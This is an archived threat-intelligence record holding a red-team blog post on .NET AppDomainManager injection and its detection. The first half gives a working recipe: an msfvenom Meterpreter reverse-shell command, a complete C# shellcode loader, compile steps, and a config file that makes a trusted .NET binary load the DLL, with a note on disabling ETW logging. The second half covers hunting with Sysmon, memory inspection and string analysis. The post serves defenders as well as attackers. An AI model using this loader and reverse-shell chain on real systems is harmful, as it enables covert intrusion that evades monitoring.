{
	"id": "bd7ba845-2e0d-416a-8696-f8d1db1cc422",
	"created_at": "2026-04-06T00:13:36.237838Z",
	"updated_at": "2026-04-10T03:24:29.578909Z",
	"deleted_at": null,
	"sha1_hash": "d40a230f5242f9088f4c2c04687bf92129cfff66",
	"title": "AppDomainManager Injection and Detection",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1099045,
	"plain_text": "AppDomainManager Injection and Detection\r\nPublished: 2020-05-26 · Archived: 2026-04-05 22:08:29 UTC\r\nMicrosoft .NET framework is being heavily utilized by threat actors and red teams for defense evasion and staying\r\noff the radar during operations. Every .NET binary contains application domains where assemblies are loaded in a\r\nsafe manner. The AppDomainManager object can be used to create new ApplicationDomains inside a .NET\r\nprocess.\r\nFrom the perspective of red teaming this allows a .NET binary to be injected with a custom ApplicationDomain\r\nthat will execute arbitrary code inside a process. Casey Smith is working on this domain since 2017 and recently\r\nreleased a proof of concept called GhostLoader which implements the technique of AppDomainManager injection\r\nin order to evade detection from Sysmon and other security tools that can identify ImageLoad events. This\r\ntechnique requires the following:\r\n1. A Base64 Payload\r\n2. A DLL\r\n3. A .NET Binary\r\nAppDomainManager Injection\r\nMetasploit Framework utility “msfvenom” can be used to generate various types of payloads include shellcode in\r\nraw format. The “base64” utility can be utilized to convert the payload into base64 format.\r\nmsfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=\u003cIP\u003e LPORT=\u003cPORT\u003e\r\nbase64 payload64.bin\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 1 of 19\n\nmsfvenom – Generate Base64 Payload\r\nThe C# file uses the AppDomainManager class in order to create a new AppDomain that will initially generate a\r\nmessage box. Then the VirtualAlloc() function will allocate a segment in the memory of the process and the\r\nCreateThread() will execute the code in the virtual address space of the process.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\nusing System;\r\nusing System.EnterpriseServices;\r\nusing System.Runtime.InteropServices;\r\npublic sealed class MyAppDomainManager : AppDomainManager\r\n{\r\npublic override void InitializeNewDomain(AppDomainSetup appDomainInfo)\r\n{\r\nSystem.Windows.Forms.MessageBox.Show( \"AppDomainManager Injection - Pentest\r\nLaboratories\" );\r\nbool res = ClassExample.Execute();\r\nreturn ;\r\n}\r\n}\r\npublic class ClassExample\r\n{\r\n[DllImport( \"kernel32\" )]\r\nprivate static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32\r\nflAllocationType, UInt32 flProtect);\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 2 of 19\n\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n[DllImport( \"kernel32\" )]\r\nprivate static extern IntPtr CreateThread(\r\nUInt32 lpThreadAttributes,\r\nUInt32 dwStackSize,\r\nIntPtr lpStartAddress,\r\nIntPtr param,\r\nUInt32 dwCreationFlags,\r\nref UInt32 lpThreadId\r\n);\r\n[DllImport( \"kernel32\" )]\r\nprivate static extern UInt32 WaitForSingleObject(\r\nIntPtr hHandle,\r\nUInt32 dwMilliseconds\r\n);\r\npublic static bool Execute()\r\n{\r\nbyte [] installercode = System.Convert.FromBase64String( \"\u003cInsert Payload\u003e\" );\r\nIntPtr funcAddr = VirtualAlloc(0, (UInt32)installercode.Length, 0x1000, 0x40);\r\nMarshal.Copy(installercode, 0, (IntPtr)(funcAddr), installercode.Length);\r\nIntPtr hThread = IntPtr.Zero;\r\nUInt32 threadId = 0;\r\nIntPtr pinfo = IntPtr.Zero;\r\nhThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);\r\nWaitForSingleObject(hThread, 0xFFFFFFFF);\r\nreturn true ;\r\n}\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 3 of 19\n\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n}\r\nThe file (uevmonitor.cs) can be converted into a DLL by using the Microsoft Visual C# Compiler which is part of\r\nthe .NET framework. However the default AppDomainManager must be replaced with the name of the assembly\r\nand the type which defines the custom class created.\r\ncsc.exe /target:library /out:uevmonitor.dll uevmonitor.cs\r\nset APPDOMAIN_MANAGER_ASM=uevmonitor, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null\r\nset APPDOMAIN_MANAGER_TYPE=MyAppDomainManager\r\nset COMPLUS_Version=v4.0.30319\r\nAppDomainManager Injection – Compile C# File\r\nAn alternative option to avoid execution of the commands related to the AppDomainManager values would be the\r\nusage of config file that will instruct the .NET binary about the arbitrary assembly that needs to load upon\r\nexecution, the path and the class. The config file should be dropped in the same directory with the .NET binary\r\nthat will load the assembly.\r\n1 \u003c configuration \u003e\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 4 of 19\n\n2\n3\n4\n5\n6\n7\n8\n9\n\u003c runtime \u003e\n\u003c assemblyBinding xmlns = \"urn:schemas-microsoft-com:asm.v1\" \u003e\n\u003c probing privatePath = \"C:\\Tools\" /\u003e\n\u003c/ assemblyBinding \u003e\n\u003c appDomainManagerAssembly value = \"uevmonitor, Version=0.0.0.0, Culture=neutral,\nPublicKeyToken=null\" /\u003e\n\u003c appDomainManagerType value = \"MyAppDomainManager\" /\u003e\n\u003c/ runtime \u003e\n\u003c/ configuration \u003e\nExecuting the legitimate .NET binary will load also the arbitrary DLL (uevmonitor.dll) which will create initially\na message box which will indicate that the injection was successful.\nAppDomainManager Injection – Message Box\nWhen the message box is closed the base64 payload will executed in the memory space of the .NET binary and a\nsession with Meterpreter or with any other Command and Control (C2) framework will established.\nAppDomainManager Injection – Meterpreter\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\nPage 5 of 19\n\nOpening ProcessExplorer will validate that the malicious DLL has been loaded inside a trusted Windows process.\r\nAppDomainManager Injection – Process Explorer\r\nSince the file has been loaded through the AppDomain it will also appear in the .NET Assemblies tab.\r\nFileHistory – Process Properties\r\nThe identification of the loaded assemblies is performed through the Event Tracing for Windows (ETW) which is\r\nimplemented at the kernel level of the operating system. However it is possible to patch the ntdll!EtwEventWrite\r\ncall in order to disable the ETW as it has been demonstrated by Adam Chester from MDSec in this article.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 6 of 19\n\nUnhook ETW\r\nThe result will be that ETW events will not be logged and the “.NET Assemblies” tab will be blank.\r\nProcess Explorer – .NET Assemblies\r\nThreat Hunting\r\nModules (in this case a .dll file) which are loaded into a process are categorized in Sysmon with event ID 7. By\r\ndefault this setting is disabled because it will generate a large number of events. However enabling the setting\r\ncould assist towards the detection of arbitrary DLL’s that are executed inside a process.\r\nSysmon installation is trivial and it doesn’t require a configuration file. However there are two configuration files\r\nthat could be used to detect ImageLoaded Events (Event Type 7) either the StartLogging from Roberto\r\nRodriguez or the sysmonconfig that was released by SwiftOnSecurity.\r\nSysmon64.exe -i StartLogging.xml\r\n.\\Sysmon64.exe -accepteula -i .\\sysmonconfig-export.xml\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 7 of 19\n\nSysmon Installation CMD\r\nSysmon Installation PowerShell\r\nExecuting the following command will dump the current configuration of System Monitor. The Image loading\r\nevent is enabled when Sysmon is installed with one of the above configuration files.\r\nSysmon64.exe -c\r\nSysmon Configuration\r\nThe StartLogging.xml configuration is designed to log all Image Loaded events except of the following common\r\nutilities and programs.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 8 of 19\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n\u003c ImageLoad onmatch = \"exclude\" \u003e\r\n\u003c Image condition = \"image\" \u003echrome.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"image\" \u003evmtoolsd.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"image\" \u003eSysmon.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"image\" \u003emmc.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"is\" \u003eC:\\Program Files\r\n(x86)\\Google\\Update\\GoogleUpdate.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"is\" \u003eC:\\Windows\\System32\\taskeng.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"is\" \u003eC:\\Program Files\\VMware\\VMware\r\nTools\\TPAutoConnect.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"is\" \u003eC:\\Program Files\\Windows\r\nDefender\\NisSrv.exe\u003c/ Image \u003e\r\n\u003c Image condition = \"is\" \u003eC:\\Program Files\\Windows\r\nDefender\\MsMpEng.exe\u003c/ Image \u003e\r\n\u003c/ ImageLoad \u003e\r\nFiltering the results of Sysmon to display only events with ID 7 and performing a query to search for the DLL will\r\nvalidate that the arbitrary DLL that was not captured.\r\nImageLoaded Event – Sysmon\r\nAn alternative option to perform the query is to use PSGumShoe which is a Windows PowerShell module\r\ndeveloped by Carlos Perez that could be used in threat hunting and forensics activities. The module contains a\r\nPowerShell script that can retrieve Sysmon Image Load events. Since Sysmon wasn’t able to capture that specific\r\nevent the result will be blank.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 9 of 19\n\n1\r\n2\r\nImport-Module .\\PSGumshoe.psm1\r\nGet-SysmonImageLoadEvent -ImageLoaded \"C:\\Tools\\uevmonitor.dll\"\r\nPSGumShoe – ImageLoaded Event\r\nDLL files that are loaded into processes can be also retrieved with the Microsoft utility ListDlls. Attempting to\r\nretrieve information about the arbitrary DLL that was loaded into the FileHistory process will fail.\r\nListdlls – uevmonitor.dll\r\nHowever reviewing the memory of the process will display the base address region that the DLL has been loaded\r\nwith “PAGE_EXECUTE_WRITECOPY” (WCX) protection.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 10 of 19\n\nFileHistory – Memory Regions\r\nReviewing deeper the memory space of the process will lead to an increase length size in two memory regions.\r\nThis is where the message box content is stored and a Base64 string which contains the shellcode.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 11 of 19\n\nFileHistory – Memory Address\r\nThe .NET assemblies tab also contain the loaded assemblies of the process and it could be considered during\r\nthreat hunting if ETW is not disabled as demonstrate in the example above.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 12 of 19\n\nFileHistory .NET Assemblies\r\nIt is also a good practice to check whether the DLL has been loaded into other processes. In this case it is only\r\nmapped to the “FileHistory.exe” process.\r\nFileHistory – Handles\r\nThe ModuleMonitor project uses the “Win32_ModuleLoadTrace” to monitor for modules loaded into processes\r\nand has also the ability to detect CLR injection attacks. Even though that the DLL has been injected into the CLR\r\nit doesn’t seem that the tool was able to catch this activity.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 13 of 19\n\nModuleMonitor\r\nThis is because the tool can identify CLR injection attacks based on the principle that the file is not a .NET\r\nassembly. This is implemented by checking for the presence of the mscorlib (.NET class library). In this case the\r\nfile is a .NET binary and the mscorlib can be seen in the .NET Assemblies tab in the process properties.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nif (parts[parts.Length - 1].Contains( \"msco\" ))\r\n{\r\nProcess proc = Process.GetProcessById(( int ) trace.ProcessID);\r\nif (!IsValidAssembly(proc.StartInfo.FileName))\r\n{\r\nConsole.WriteLine();\r\nConsole.WriteLine( \"[!] CLR Injection has been detected!\" );\r\nAnalyzing the file with PeStudio will identify that the DLL is using the “FromBase64String()” method which is\r\ncommonly used for encoding of shellcode. Other functions such as “VirtualAlloc()” (reserve region in the\r\nmemory) and “CreateThread()” (thread is executed in the virtual address space of the current process) are also\r\nimplemented and should lead to further investigation since most of the times are used in a malicious way.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 14 of 19\n\npes studio – DLL Analysis\r\nThese functions can be also identified by observing the “Strings” tab of the DLL using process explorer.\r\nDLL – Printable Strings\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 15 of 19\n\nDLL – FromBase64String\r\nUsage of these functions is a strong indication that something is executed in the memory space of the process even\r\nthough .NET binaries would not normally call these functions.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 16 of 19\n\nProcess Memory – FromBase64String\r\nInvestigating the memory of the process would lead in the identification of the base64 payload.\r\nPayload in Memory\r\nFinally any .NET binary that is communicating with an external host should raise suspicious about its legitimacy.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 17 of 19\n\nFileHistory – Remote Connection\r\nYouTube\r\nAn error occurred.\r\nUnable to execute JavaScript.\r\nVideoPress\r\nInstagram\r\nConclusion\r\nThe method of loading malicious assemblies into .NET processes is not new and it is used widely in red teaming\r\nscenarios that have a mature security operation center (SOC). It should be noted that this technique is not applied\r\nonly to the FileHistory but to every .NET binary that exists on the system and the DLL name and the path are\r\narbitrary which makes detection harder. Threat hunters should not rely on the assembly loading information but\r\nthey should attempt to identify suspicious indicators in the memory space of the .NET process.\r\nIf you are interested to learn more about how Pentest Laboratories and our custom cyber attack scenarios can\r\nimprove your organisation readiness against cyber threats please contact us.\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 18 of 19\n\nSource: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nhttps://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"
	],
	"report_names": [
		"appdomainmanager-injection-and-detection"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434416,
	"ts_updated_at": 1775791469,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d40a230f5242f9088f4c2c04687bf92129cfff66.pdf",
		"text": "https://archive.orkl.eu/d40a230f5242f9088f4c2c04687bf92129cfff66.txt",
		"img": "https://archive.orkl.eu/d40a230f5242f9088f4c2c04687bf92129cfff66.jpg"
	}
}